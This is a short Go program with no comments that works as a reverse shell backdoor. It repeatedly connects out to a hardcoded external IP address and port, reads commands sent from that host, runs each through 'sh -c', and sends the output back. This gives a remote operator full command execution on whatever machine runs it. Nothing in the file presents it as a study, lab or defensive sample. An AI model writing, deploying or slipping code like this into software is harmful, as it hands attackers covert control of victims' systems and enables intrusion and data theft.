package main

import (
	"bytes"
	"fmt"
	"net"
	"os/exec"
	"time"
)

const clientIP = "47.95.198.50:8081"

func connect2client() net.Conn {
	for {
		connect, err := net.Dial("tcp", clientIP)
		if err != nil {
			fmt.Println("connect")
			time.Sleep(10 * time.Second)
			continue
		}
		return connect
	}
}

func acceptInformation(conn net.Conn) string {
	buf := make([]byte, 4096)
	num, err := conn.Read(buf)
	if err != nil {
		startServer()
	}
	fmt.Println(string(buf[:num]))
	return string(buf[:num])
}

func startServer() {
	client := connect2client()
	var out bytes.Buffer
	for {
		cmd := acceptInformation(client)
		command := exec.Command("sh", "-c", cmd)
		command.Stdout = &out
		err := command.Run()
		if err != nil {
		}
		n, err := client.Write([]byte(out.String()))
		fmt.Println("n:", n)
		fmt.Println(out.String())
	}
}

func main() {
	startServer()
}
